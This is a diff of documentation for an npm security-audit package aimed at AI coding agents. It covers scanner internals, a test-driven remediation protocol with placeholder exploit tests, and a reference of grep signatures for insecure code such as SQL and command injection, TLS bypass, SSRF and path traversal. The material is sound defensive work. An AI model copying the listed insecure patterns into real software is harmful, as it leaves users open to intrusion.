| `scanAndroidManifest(projectDir)` | Check `AndroidManifest.xml` for `android:debuggable="true"` |
|
|
15
|
+
| `printFindings(findings, exempted)` | Format and print a findings report to stdout |
|
|
16
|
+
| `detectFramework(dir)` | Detect the test framework (`jest`, `vitest`, `mocha`, `pytest`, `go`, `flutter`) |
|
|
17
|
+
| `detectAppFramework(dir)` | Detect the UI framework (`nextjs`, `expo`, `react-native`, `react`, `flutter`) |
|
|
18
|
+
| `detectTestBaseDir(dir, framework)` | Locate the test root (`__tests__`, `tests`, `test`, `spec`) |
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## How `quickScan` works
|
|
23
|
+
|
|
24
|
+
```
|
|
25
|
+
projectDir
|
|
26
|
+
└─ walkFiles() — yields .js/.ts/.jsx/.tsx/.mjs/.py/.go/.dart files
|
|
27
|
+
└─ for each file:
|
|
28
|
+
1. Read file content (read-first, check length after — no TOCTOU)
|
|
29
|
+
2. Skip if content.length > 512 KB
|
|
30
|
+
3. Skip if file contains null bytes (binary guard)
|
|
31
|
+
4. For each line × each VULN_PATTERN:
|
|
32
|
+
– If pattern matches, push finding with severity / name / file / line / snippet
|
|
33
|
+
– inTestFile: true if path is under a test directory
|
|
34
|
+
– likelyFalsePositive: true if inTestFile && pattern.skipInTests
|
|
35
|
+
└─ scanAppConfig() — checks app.json / app.config.* for secret patterns
|
|
36
|
+
└─ scanAndroidManifest() — checks android:debuggable
|
|
37
|
+
└─ scanPromptFiles() — walks .md files in prompt directories
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
All four result sets are merged into one array and returned to the caller.
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
## File walking
|
|
45
|
+
|
|
46
|
+
### `walkFiles(dir)`
|
|
47
|
+
|
|
48
|
+
Yields scannable source files (`SCAN_EXTENSIONS`). Skips:
|
|
49
|
+
|
|
50
|
+
- **`SKIP_DIRS`**: `node_modules`, `.git`, `dist`, `build`, `.next`, `out`, `__pycache__`, `venv`, `.venv`, `vendor`, `.expo`, `.dart_tool`, `.pub-cache`
|
|
51
|
+
- **Symlinks** — never followed, preventing escape from the project root on shared/M-series filesystems
|
|
52
|
+
|
|
53
|
+
### `walkMdFiles(dir)`
|
|
54
|
+
|
|
55
|
+
Same skip rules, yields `.md` files only. Used by `scanPromptFiles`.
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## Scanned extensions
|
|
60
|
+
|
|
61
|
+
`.js` `.ts` `.jsx` `.tsx` `.mjs` `.py` `.go` `.dart`
|
|
62
|
+
|
|
63
|
+
YAML, JSON, XML, and shell files are not scanned by the code scanner. CI workflow files (`.yml`) are scanned separately when explicitly passed to the ASI08/ASI09 grep patterns during an agent-driven audit.
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Test file detection
|
|
68
|
+
|
|
69
|
+
`isTestFile(filePath, projectDir)` returns `true` for any file that matches:
|
|
70
|
+
|
|
71
|
+
| Pattern | Example |
|
|
72
|
+
|---|---|
|
|
73
|
+
| `*.test.js` / `*.spec.ts` | `auth.test.ts` |
|
|
74
|
+
| `*_test.dart` | `login_test.dart` |
|
|
75
|
+
| Path contains `__tests__/` or `tests/` | `__tests__/unit/scanner.test.js` |
|
|
76
|
+
| Path contains `spec/` | `spec/api/users_spec.rb` |
|
|
77
|
+
| Filename starts with `test_` | `test_helpers.js` |
|
|
78
|
+
|
|
79
|
+
Findings in test files are always reported (they may contain real vulnerabilities), but:
|
|
80
|
+
- They carry `inTestFile: true` in the finding object
|
|
81
|
+
- If the matched pattern has `skipInTests: true`, `likelyFalsePositive` is set to `true` and the finding is separated into a secondary "verify manually" section of the report
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## Prompt file detection
|
|
86
|
+
|
|
87
|
+
`isPromptFile(filePath, projectDir)` returns `true` for:
|
|
88
|
+
|
|
89
|
+
| Condition | Example |
|
|
90
|
+
|---|---|
|
|
91
|
+
| Filename is in `PROMPT_FILE_NAMES` | `CLAUDE.md`, `SKILL.md`, `.cursorrules`, `.clinerules` |
|
|
92
|
+
| First path segment is in `PROMPT_DIRS` | `prompts/`, `skills/`, `.claude/`, `workflows/` |
|
|
93
|
+
|
|
94
|
+
### `audit_status: safe` exemption
|
|
95
|
+
|
|
96
|
+
If a prompt file's YAML frontmatter contains `audit_status: safe`, it is skipped entirely. The relative path is collected into an `exempted` array and displayed at the bottom of the `printFindings` report so you can verify exemptions are intentional.
|
|
97
|
+
|
|
98
|
+
```markdown
|
|
99
|
+
---
|
|
100
|
+
name: my-prompt
|
|
101
|
+
audit_status: safe
|
|
102
|
+
---
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
This mechanism allows prompt authors to document intentional examples of vulnerable patterns (e.g., showing what `csurf` looks like before migration) without generating false positives on every scan.
|
|
106
|
+
|
|
107
|
+
### Backtick suppression
|
|
108
|
+
|
|
109
|
+
Matches inside a properly closed backtick code span on the same line are suppressed. This prevents table rows like:
|
|
110
|
+
|
|
111
|
+
```markdown
|
|
112
|
+
| `"command": "npx"` in MCP config | HIGH | ...
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
from triggering the `Unpinned npx MCP Server` pattern.
|
|
116
|
+
|
|
117
|
+
The rule: suppress when there is an **odd** number of backticks before the match AND at least one closing backtick after it on the same line.
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## Finding object schema
|
|
122
|
+
|
|
123
|
+
```javascript
|
|
124
|
+
{
|
|
125
|
+
severity: 'CRITICAL' | 'HIGH' | 'MEDIUM' | 'LOW',
|
|
126
|
+
name: string, // pattern display name, e.g. "SQL Injection"
|
|
127
|
+
file: string, // relative path from projectDir
|
|
128
|
+
line: number, // 1-indexed line number
|
|
129
|
+
snippet: string, // first 80 chars of the matched line (trimmed)
|
|
130
|
+
inTestFile: boolean,
|
|
131
|
+
likelyFalsePositive: boolean,
|
|
132
|
+
}
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## Adding a new pattern
|
|
138
|
+
|
|
139
|
+
All vulnerability patterns live in the `VULN_PATTERNS` array in `lib/scanner.js`. Each entry is:
|
|
140
|
+
|
|
141
|
+
```javascript
|
|
142
|
+
{
|
|
143
|
+
name: 'Display Name', // shown in the report
|
|
144
|
+
severity: 'HIGH', // CRITICAL | HIGH | MEDIUM | LOW
|
|
145
|
+
pattern: /regex/i, // matched against each line of each file
|
|
146
|
+
skipInTests: true, // optional — mark likelyFalsePositive when matched in test files
|
|
147
|
+
}
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
Prompt-specific patterns live in `PROMPT_PATTERNS`:
|
|
151
|
+
|
|
152
|
+
```javascript
|
|
153
|
+
{
|
|
154
|
+
name: 'Display Name',
|
|
155
|
+
severity: 'HIGH',
|
|
156
|
+
pattern: /regex/,
|
|
157
|
+
skipCommentLine: true, // optional — suppress matches on lines starting with // or #
|
|
158
|
+
}
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
After adding a pattern, add a corresponding unit test in `__tests__/unit/scanner.test.js` with both a true-positive and a false-positive case.
|
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
# TDD Remediation Protocol
|
|
2
|
+
|
|
3
|
+
Security patching without tests is guesswork. The Red-Green-Refactor loop turns every vulnerability into a provable, reproducible closure: you prove the hole exists, you close it, and you prove it is closed.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## The three phases
|
|
8
|
+
|
|
9
|
+
```
|
|
10
|
+
RED → write the exploit test → it MUST fail (vulnerability confirmed)
|
|
11
|
+
GREEN → apply the patch → test MUST pass (vulnerability closed)
|
|
12
|
+
REFACTOR → run the full suite → all MUST pass (no regressions)
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
**Do not move to the next vulnerability until the current one completes all three phases.**
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## Phase 1 — Red (Exploit)
|
|
20
|
+
|
|
21
|
+
Write a test that actively attempts the breach. The test must fail on the **security assertion**, not just crash the app.
|
|
22
|
+
|
|
23
|
+
```javascript
|
|
24
|
+
// Wrong Red: test fails because the app throws 500
|
|
25
|
+
expect(res.status).toBe(403); // ← fails because app returned 500
|
|
26
|
+
|
|
27
|
+
// Correct Red: test fails because the vulnerability is open
|
|
28
|
+
expect(res.status).toBe(403); // ← fails because app returned 200 with data
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
Place the test in your security test directory (`__tests__/security/`, `tests/security/`, or `test/security/`) so it is picked up by the `test:security` CI job.
|
|
32
|
+
|
|
33
|
+
### Framework templates
|
|
34
|
+
|
|
35
|
+
**Jest / Supertest (Node.js)**
|
|
36
|
+
```javascript
|
|
37
|
+
const request = require('supertest');
|
|
38
|
+
const app = require('../../app');
|
|
39
|
+
|
|
40
|
+
describe('[VulnType] — Red Phase', () => {
|
|
41
|
+
it('SHOULD block [exploit description]', async () => {
|
|
42
|
+
const res = await request(app)
|
|
43
|
+
.post('/api/vulnerable-endpoint')
|
|
44
|
+
.send({ input: '<exploit payload>' });
|
|
45
|
+
|
|
46
|
+
expect(res.status).toBe(403); // currently 200 — MUST fail (Red)
|
|
47
|
+
expect(res.body.data).not.toContain('<exploit payload>');
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**PyTest (Python)**
|
|
53
|
+
```python
|
|
54
|
+
def test_exploit_blocked(client, attacker_token):
|
|
55
|
+
response = client.post(
|
|
56
|
+
'/api/vulnerable-endpoint',
|
|
57
|
+
json={'input': '<exploit payload>'},
|
|
58
|
+
headers={'Authorization': f'Bearer {attacker_token}'}
|
|
59
|
+
)
|
|
60
|
+
assert response.status_code == 403 # currently 200 — RED
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
**Vitest + Testing Library (React / Next.js)**
|
|
64
|
+
```typescript
|
|
65
|
+
test('SHOULD NOT store auth token in localStorage', async () => {
|
|
66
|
+
render(<LoginForm />);
|
|
67
|
+
fireEvent.submit(screen.getByRole('form'));
|
|
68
|
+
await waitFor(() => {
|
|
69
|
+
expect(localStorage.getItem('token')).toBeNull(); // currently set — RED
|
|
70
|
+
});
|
|
71
|
+
});
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
**flutter_test (Flutter)**
|
|
75
|
+
```dart
|
|
76
|
+
test('SHOULD NOT store auth token in SharedPreferences', () async {
|
|
77
|
+
SharedPreferences.setMockInitialValues({});
|
|
78
|
+
await simulateLogin(username: 'user', password: 'password');
|
|
79
|
+
final prefs = await SharedPreferences.getInstance();
|
|
80
|
+
expect(prefs.getString('token'), isNull); // currently stored — RED
|
|
81
|
+
});
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
See [`prompts/red-phase.md`](../prompts/red-phase.md) for vulnerability-specific exploit strategies.
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 2 — Green (Patch)
|
|
89
|
+
|
|
90
|
+
Apply the **minimum code change** that makes the exploit test pass. A targeted fix is safer than a rewrite.
|
|
91
|
+
|
|
92
|
+
1. Identify the root cause — a 500 error is not a security fix
|
|
93
|
+
2. Apply the narrowest patch that closes the vulnerability
|
|
94
|
+
3. Run `npm run test:security` — the exploit test must now pass
|
|
95
|
+
4. If the test still fails, the patch is incomplete — do not advance
|
|
96
|
+
|
|
97
|
+
See [`prompts/green-phase.md`](../prompts/green-phase.md) for vulnerability-specific patch strategies with before/after code examples covering:
|
|
98
|
+
|
|
99
|
+
- IDOR / tenant isolation
|
|
100
|
+
- XSS and `dangerouslySetInnerHTML`
|
|
101
|
+
- SQL injection (parameterized queries)
|
|
102
|
+
- Command injection (argument arrays)
|
|
103
|
+
- Path traversal (resolve + bounds check)
|
|
104
|
+
- Broken auth (JWT middleware)
|
|
105
|
+
- Next.js API route auth
|
|
106
|
+
- React Native / Expo sensitive storage migration
|
|
107
|
+
- Flutter sensitive storage migration
|
|
108
|
+
- SSRF (URL allowlist)
|
|
109
|
+
- Open redirect (relative-only)
|
|
110
|
+
- NoSQL injection (operator sanitization)
|
|
111
|
+
- Mass assignment (field allowlisting)
|
|
112
|
+
- Prototype pollution (key sanitization)
|
|
113
|
+
- Weak crypto (bcrypt/argon2)
|
|
114
|
+
- Missing rate limiting
|
|
115
|
+
- Missing security headers (Helmet)
|
|
116
|
+
- TLS bypass removal
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## Phase 3 — Refactor (Regression)
|
|
121
|
+
|
|
122
|
+
Run the **full** test suite — security tests plus all pre-existing functional and integration tests.
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
npm test # Node.js
|
|
126
|
+
pytest # Python
|
|
127
|
+
go test ./... # Go
|
|
128
|
+
flutter test # Flutter
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**If any pre-existing test now fails, stop and revert.** Return to Phase 2 with a narrower approach. A security fix that breaks functionality is a failed fix.
|
|
132
|
+
|
|
133
|
+
### Regression checklist
|
|
134
|
+
|
|
135
|
+
- [ ] Happy-path flows still work — legitimate users can access their own resources
|
|
136
|
+
- [ ] Error messages are safe — no stack traces or internal paths in error responses
|
|
137
|
+
- [ ] Auth bypass not introduced — the fix doesn't open a new unprotected code path
|
|
138
|
+
- [ ] No secrets committed — patch doesn't hardcode keys or tokens
|
|
139
|
+
- [ ] No debug logging left — remove any `console.log` added during patching
|
|
140
|
+
|
|
141
|
+
See [`prompts/refactor-phase.md`](../prompts/refactor-phase.md) for the full framework-specific regression checklist.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Phase 4 — Hardening (Proactive)
|
|
146
|
+
|
|
147
|
+
After all vulnerabilities are remediated, apply defence-in-depth controls that make future vulnerabilities harder to introduce. See [`docs/hardening.md`](hardening.md) for the full guide.
|
|
148
|
+
|
|
149
|
+
Summary of controls:
|
|
150
|
+
- **Security headers** — `helmet()` applied before all routes; explicit CSP
|
|
151
|
+
- **CSRF protection** — `csrf-csrf` double-submit pattern (not deprecated `csurf`)
|
|
152
|
+
- **Rate limiting** — `express-rate-limit` on auth routes
|
|
153
|
+
- **Dependency audit** — `npm audit --audit-level=high` in CI
|
|
154
|
+
- **Secret history scan** — `gitleaks` / `trufflehog` to catch committed secrets
|
|
155
|
+
- **Error handling** — generic 500 messages in production, no stack traces
|
|
156
|
+
- **SRI** — subresource integrity hashes on third-party CDN assets
|
|
157
|
+
- **GitHub Actions pinning** — every `uses:` locked to a full commit SHA
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## When to revert and retry
|
|
162
|
+
|
|
163
|
+
Revert the patch (`git checkout -- <file>`) and return to Phase 2 if:
|
|
164
|
+
|
|
165
|
+
- A functional test fails after applying the security fix
|
|
166
|
+
- The fix introduces a new 401/403 for a legitimate user flow
|
|
167
|
+
- Performance degrades measurably (e.g., O(n) queries replacing O(1))
|
|
168
|
+
|
|
169
|
+
When you retry, describe the constraint: *"The previous fix broke X — find a narrower approach that still closes the vulnerability."*
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Remediation Summary format
|
|
174
|
+
|
|
175
|
+
After all vulnerabilities are addressed, the agent outputs a table:
|
|
176
|
+
|
|
177
|
+
```
|
|
178
|
+
## Remediation Summary
|
|
179
|
+
|
|
180
|
+
| Vulnerability | File | Status | Test File | Fix Applied |
|
|
181
|
+
|---|---|---|---|---|
|
|
182
|
+
| SQLi | src/routes/users.js:34 | ✅ Fixed | __tests__/security/sqli-users.test.js | Parameterized query |
|
|
183
|
+
| IDOR | src/controllers/docs.js:87 | ✅ Fixed | __tests__/security/idor-docs.test.js | Ownership check added |
|
|
184
|
+
```
|
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
# Vulnerability Patterns Reference
|
|
2
|
+
|
|
3
|
+
All 34 patterns detected by `@lhi/tdd-audit`. Patterns are checked against every scannable source file line-by-line. Prompt/skill patterns are checked separately against `.md` files in agent configuration directories.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## CRITICAL
|
|
8
|
+
|
|
9
|
+
### SQL Injection
|
|
10
|
+
**Grep signature:** template literal SELECT, string-concatenated query, Python f-string/%-format SQL, tagged template DB call
|
|
11
|
+
**Why it matters:** Attacker can read, modify, or delete any data in your database by manipulating the query string.
|
|
12
|
+
**Fix:** Parameterized queries / ORM methods. See [`green-phase.md`](../prompts/green-phase.md#sql-injection).
|
|
13
|
+
|
|
14
|
+
### Command Injection
|
|
15
|
+
**Grep signature:** `exec(` / `execSync(` with `req.params|body|query`; `subprocess.run(shell=True)`
|
|
16
|
+
**Why it matters:** Attacker can run arbitrary shell commands on your server.
|
|
17
|
+
**Fix:** Use `execFile`/`spawn` with an argument array (no shell interpolation).
|
|
18
|
+
|
|
19
|
+
### TLS Bypass
|
|
20
|
+
**Grep signature:** `badCertificateCallback = true`, `rejectUnauthorized: false`, `NODE_TLS_REJECT_UNAUTHORIZED=0`
|
|
21
|
+
**Why it matters:** All HTTPS connections become vulnerable to man-in-the-middle attacks.
|
|
22
|
+
**Fix:** Remove the override. For internal CAs, set `NODE_EXTRA_CA_CERTS` or pass the cert to `SecurityContext`.
|
|
23
|
+
|
|
24
|
+
### Hardcoded Secret
|
|
25
|
+
**Grep signature:** `const API_KEY = "..."`, `let SECRET_KEY = "..."` (≥20 chars)
|
|
26
|
+
**Note:** `skipInTests: true` — matches in test files are marked `likelyFalsePositive`.
|
|
27
|
+
**Why it matters:** Secret is committed to git history and visible to anyone with repo access.
|
|
28
|
+
**Fix:** Move to environment variables. Run `gitleaks` to check if already committed.
|
|
29
|
+
|
|
30
|
+
### SSRF (Server-Side Request Forgery)
|
|
31
|
+
**Grep signature:** `fetch(req.query.url)`, `axios.get(req.body.url)`, `got(req.params.url)`
|
|
32
|
+
**Why it matters:** Attacker can probe internal services (AWS metadata, Redis, internal APIs) via your server.
|
|
33
|
+
**Fix:** Validate URL against an explicit hostname allowlist. Block private IP ranges.
|
|
34
|
+
|
|
35
|
+
### Insecure Deserialization
|
|
36
|
+
**Grep signature:** `.unserialize(req.)`, `__proto__ =`, `Object.setPrototypeOf(x, req.`
|
|
37
|
+
**Why it matters:** Attacker can achieve RCE or privilege escalation by crafting a malicious serialized payload.
|
|
38
|
+
**Fix:** Never deserialize user-supplied data. Use JSON with a schema validator instead.
|
|
39
|
+
|
|
40
|
+
### JWT Alg None
|
|
41
|
+
**Grep signature:** `algorithm: 'none'`
|
|
42
|
+
**Why it matters:** The `alg:none` attack strips the JWT signature entirely, allowing anyone to forge tokens.
|
|
43
|
+
**Fix:** Use `jsonwebtoken` with an explicit `algorithms` allowlist — never include `'none'`.
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## HIGH
|
|
48
|
+
|
|
49
|
+
### IDOR (Insecure Direct Object Reference)
|
|
50
|
+
**Grep signature:** `findById(req.params|body|query.`, `findOne({id: req.params|body|query`
|
|
51
|
+
**Why it matters:** Any logged-in user can access another user's private data by guessing or iterating IDs.
|
|
52
|
+
**Fix:** Scope all DB queries to `req.user.id`. Never trust a client-supplied resource ID.
|
|
53
|
+
|
|
54
|
+
### XSS (Cross-Site Scripting)
|
|
55
|
+
**Grep signature:** `innerHTML =`, `dangerouslySetInnerHTML={{`, `document.write(`, `res.send(\`...\${req.`
|
|
56
|
+
**Why it matters:** Attacker can inject scripts that run in other users' browsers, stealing sessions or redirecting them.
|
|
57
|
+
**Fix:** Escape on output (`escape-html`), sanitize rich HTML (`DOMPurify`), or use a framework that auto-escapes.
|
|
58
|
+
|
|
59
|
+
### Path Traversal
|
|
60
|
+
**Grep signature:** `readFile/sendFile/createReadStream(req.`, `path.join(req.params|body|query`
|
|
61
|
+
**Why it matters:** Attacker can read files outside the uploads directory (`.env`, `/etc/passwd`).
|
|
62
|
+
**Fix:** `path.resolve()` the final path and assert it starts with the allowed base directory.
|
|
63
|
+
|
|
64
|
+
### Broken Auth
|
|
65
|
+
**Grep signature:** `jwt.decode(` (without `.verify`), `verify: false`, `secret = "short_string"`
|
|
66
|
+
**Why it matters:** Anyone can forge a valid-looking token and impersonate any user.
|
|
67
|
+
**Fix:** Always use `jwt.verify()` with an explicit secret from environment variables.
|
|
68
|
+
|
|
69
|
+
### Sensitive Storage
|
|
70
|
+
**Grep signature:** `localStorage.setItem('token'`, `AsyncStorage.setItem('token'`
|
|
71
|
+
**Why it matters:** Tokens stored in unencrypted storage are readable on rooted/jailbroken devices and via XSS.
|
|
72
|
+
**Fix:** Use `expo-secure-store` (React Native/Expo) or `flutter_secure_storage` (Flutter).
|
|
73
|
+
|
|
74
|
+
### eval() Injection
|
|
75
|
+
**Grep signature:** `eval(route.params`, `eval(searchParams.get`, `eval(req.query|body`
|
|
76
|
+
**Why it matters:** Attacker can execute arbitrary JavaScript in the application context.
|
|
77
|
+
**Fix:** Never use `eval()` with user input. Use `JSON.parse()` for data deserialization.
|
|
78
|
+
|
|
79
|
+
### Insecure Random
|
|
80
|
+
**Grep signature:** `token = Math.random()`, `sessionId = Math.random()`
|
|
81
|
+
**Why it matters:** `Math.random()` is not cryptographically secure — tokens can be predicted.
|
|
82
|
+
**Fix:** Use `crypto.randomBytes()` (Node.js) or `secrets.token_hex()` (Python).
|
|
83
|
+
|
|
84
|
+
### Secret Fallback
|
|
85
|
+
**Grep signature:** `process.env.SECRET || "hardcoded_value"`
|
|
86
|
+
**Why it matters:** The hardcoded fallback is committed to source control and used whenever the env var is missing.
|
|
87
|
+
**Fix:** Fail fast if the env var is absent — never fall back to a default secret.
|
|
88
|
+
|
|
89
|
+
### Open Redirect
|
|
90
|
+
**Grep signature:** `res.redirect(req.query|body|params.`, `window.location = params.`
|
|
91
|
+
**Why it matters:** Attacker can redirect users to phishing sites after a legitimate login flow.
|
|
92
|
+
**Fix:** Allow only relative paths. Reject `http://` / `https://` and `//` prefix destinations.
|
|
93
|
+
|
|
94
|
+
### NoSQL Injection
|
|
95
|
+
**Grep signature:** `.find(req.body|query)`, `.findOne(req.body|query)`, `$where:`
|
|
96
|
+
**Why it matters:** Attacker can bypass authentication by injecting MongoDB operators (`{ $gt: '' }`).
|
|
97
|
+
**Fix:** Cast query values to strings. Use `express-mongo-sanitize` to strip `$` operators.
|
|
98
|
+
|
|
99
|
+
### Template Injection
|
|
100
|
+
**Grep signature:** `res.render(req.params|query`, `ejs.render(req.body`, `pug.render(req.body`
|
|
101
|
+
**Why it matters:** Attacker can execute server-side template code, potentially achieving RCE.
|
|
102
|
+
**Fix:** Never pass user input as the template name or raw template string.
|
|
103
|
+
|
|
104
|
+
### Mass Assignment
|
|
105
|
+
**Grep signature:** `new Model(req.body)`, `.create(req.body)`, `.update({}, req.body)`
|
|
106
|
+
**Why it matters:** Attacker can set privileged fields (`isAdmin`, `role`) by adding them to a POST body.
|
|
107
|
+
**Fix:** Destructure and allowlist only the fields users are permitted to set.
|
|
108
|
+
|
|
109
|
+
### Prototype Pollution
|
|
110
|
+
**Grep signature:** `_.merge(req.body|query)`, `deepmerge(req.body|query)`, `Object.assign({}, req.body)`
|
|
111
|
+
**Why it matters:** Attacker can inject properties into `Object.prototype`, affecting all objects in the process.
|
|
112
|
+
**Fix:** Sanitize `__proto__` / `constructor` / `prototype` keys before any recursive merge.
|
|
113
|
+
|
|
114
|
+
### Weak Crypto
|
|
115
|
+
**Grep signature:** `createHash('md5')`, `createHash('sha1')`, `md5(password)`, `sha1(password)`
|
|
116
|
+
**Why it matters:** MD5 and SHA1 hashes are trivially crackable with rainbow tables.
|
|
117
|
+
**Fix:** Use `bcrypt` (cost factor ≥12) or `argon2` for passwords.
|
|
118
|
+
|
|
119
|
+
### XXE (XML External Entity)
|
|
120
|
+
**Grep signature:** `noent: true`, `expand_entities = True`, `resolve_entities = True`
|
|
121
|
+
**Why it matters:** Attacker can read local files or perform SSRF via XML entity expansion.
|
|
122
|
+
**Fix:** Disable entity expansion in your XML parser. Never enable it for user-supplied XML.
|
|
123
|
+
|
|
124
|
+
### WebView JS Bridge
|
|
125
|
+
**Grep signature:** `addJavascriptInterface(`, `javaScriptEnabled: true`, `allowFileAccess: true`, `allowUniversalAccessFromFileURLs: true`
|
|
126
|
+
**Why it matters:** Exposed JavaScript bridge or relaxed WebView settings allow XSS-to-native escalation.
|
|
127
|
+
**Fix:** Disable unnecessary WebView capabilities. Never expose a JS bridge to untrusted content.
|
|
128
|
+
|
|
129
|
+
### Timing-Unsafe Comparison
|
|
130
|
+
**Grep signature:** `token === `, `password ===`, `secret ==` (equality comparison of secrets)
|
|
131
|
+
**Why it matters:** Timing side-channel allows attackers to brute-force tokens bit by bit.
|
|
132
|
+
**Fix:** Use `crypto.timingSafeEqual()` (Node.js) or `hmac.compare_digest()` (Python) for all secret comparisons.
|
|
133
|
+
|
|
134
|
+
### ReDoS
|
|
135
|
+
**Grep signature:** `new RegExp(req.query|body|params.`
|
|
136
|
+
**Why it matters:** Attacker can craft input that causes catastrophic regex backtracking, DoSing the process.
|
|
137
|
+
**Fix:** Never construct regex from user input. If required, use a regex complexity validator.
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## MEDIUM
|
|
142
|
+
|
|
143
|
+
### Sensitive Log
|
|
144
|
+
**Grep signature:** `console.log(token|password|secret|jwt|authorization|apiKey`
|
|
145
|
+
**Note:** `skipInTests: true`
|
|
146
|
+
**Why it matters:** Secrets end up in log aggregation systems, monitoring dashboards, and CI output.
|
|
147
|
+
**Fix:** Remove or redact sensitive fields before logging.
|
|
148
|
+
|
|
149
|
+
### CORS Wildcard
|
|
150
|
+
**Grep signature:** `cors({ origin: '*' })`, `Access-Control-Allow-Origin: *`
|
|
151
|
+
**Why it matters:** Any origin can make credentialed requests to your API.
|
|
152
|
+
**Fix:** Specify an explicit origin allowlist in your CORS configuration.
|
|
153
|
+
|
|
154
|
+
### Cleartext Traffic
|
|
155
|
+
**Grep signature:** `baseURL = 'http://...'` (non-localhost)
|
|
156
|
+
**Note:** `skipInTests: true`
|
|
157
|
+
**Why it matters:** API traffic is sent unencrypted and visible to network observers.
|
|
158
|
+
**Fix:** Use `https://` for all non-localhost API base URLs.
|
|
159
|
+
|
|
160
|
+
### Deep Link Injection
|
|
161
|
+
**Grep signature:** `Linking.getInitialURL()`, `Linking.addEventListener('url'`
|
|
162
|
+
**Why it matters:** Attacker can inject malicious data via crafted deep links if parameters are not validated.
|
|
163
|
+
**Fix:** Validate and sanitize all values extracted from deep link URLs before use.
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## Prompt / Skill / Agent Patterns
|
|
168
|
+
|
|
169
|
+
These patterns are checked against `.md` files in `prompts/`, `skills/`, `.claude/`, `workflows/`, `CLAUDE.md`, `SKILL.md`, `.cursorrules`, and `.clinerules`.
|
|
170
|
+
|
|
171
|
+
### Deprecated CSRF Package (CRITICAL)
|
|
172
|
+
**Grep signature:** `\bcsurf\b` (not in a comment line)
|
|
173
|
+
**Why it matters:** `csurf` was deprecated in March 2023 and is unmaintained. Projects that follow instructions referencing it will install a package with unpatched vulnerabilities.
|
|
174
|
+
**Fix:** Replace with `csrf-csrf` (`doubleCsrf` pattern).
|
|
175
|
+
|
|
176
|
+
### Unpinned npx MCP Server (HIGH)
|
|
177
|
+
**Grep signature:** `"command": "npx"` in MCP server config
|
|
178
|
+
**Why it matters:** `npx` resolves the latest version at runtime. A compromised package version executes arbitrary code in the agent's context.
|
|
179
|
+
**Fix:** Pin MCP servers to exact versions or install locally. Use `node /path/to/server.js` instead of `npx`.
|
|
180
|
+
|
|
181
|
+
### Cleartext URL in Prompt (MEDIUM)
|
|
182
|
+
**Grep signature:** `http://` (non-localhost) in prompt/skill markdown
|
|
183
|
+
**Why it matters:** Cleartext URLs in agent instructions can mislead the agent into making insecure HTTP requests.
|
|
184
|
+
**Fix:** Replace with `https://` URLs.
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Config / Manifest Patterns
|
|
189
|
+
|
|
190
|
+
### Config Secret (CRITICAL)
|
|
191
|
+
**Files checked:** `app.json`, `app.config.js`, `app.config.ts`
|
|
192
|
+
**Grep signature:** `apiKey: "..."`, `secret: "..."`, `accessToken: "..."` (≥20 chars)
|
|
193
|
+
**Why it matters:** Expo/React Native config files are bundled into the app binary and shipped to users.
|
|
194
|
+
**Fix:** Use `expo-constants` with environment variables at build time. Never embed secrets in config files.
|
|
195
|
+
|
|
196
|
+
### Android Debuggable (HIGH)
|
|
197
|
+
**Files checked:** `android/app/src/main/AndroidManifest.xml`
|
|
198
|
+
**Grep signature:** `android:debuggable="true"`
|
|
199
|
+
**Why it matters:** Debug builds expose the app to `adb` inspection and arbitrary code injection on the device.
|
|
200
|
+
**Fix:** Remove `android:debuggable` from `AndroidManifest.xml` (the build system sets it correctly per variant).
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@lhi/tdd-audit",
|
|
3
|
-
"version": "1.8.
|
|
3
|
+
"version": "1.8.2",
|
|
4
4
|
"description": "Security skill installer for Claude Code, Gemini CLI, Cursor, Codex, and OpenCode. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"bin": {
|
|
@@ -14,7 +14,8 @@
|
|
|
14
14
|
"templates/",
|
|
15
15
|
"workflows/",
|
|
16
16
|
"README.md",
|
|
17
|
-
"LICENSE"
|
|
17
|
+
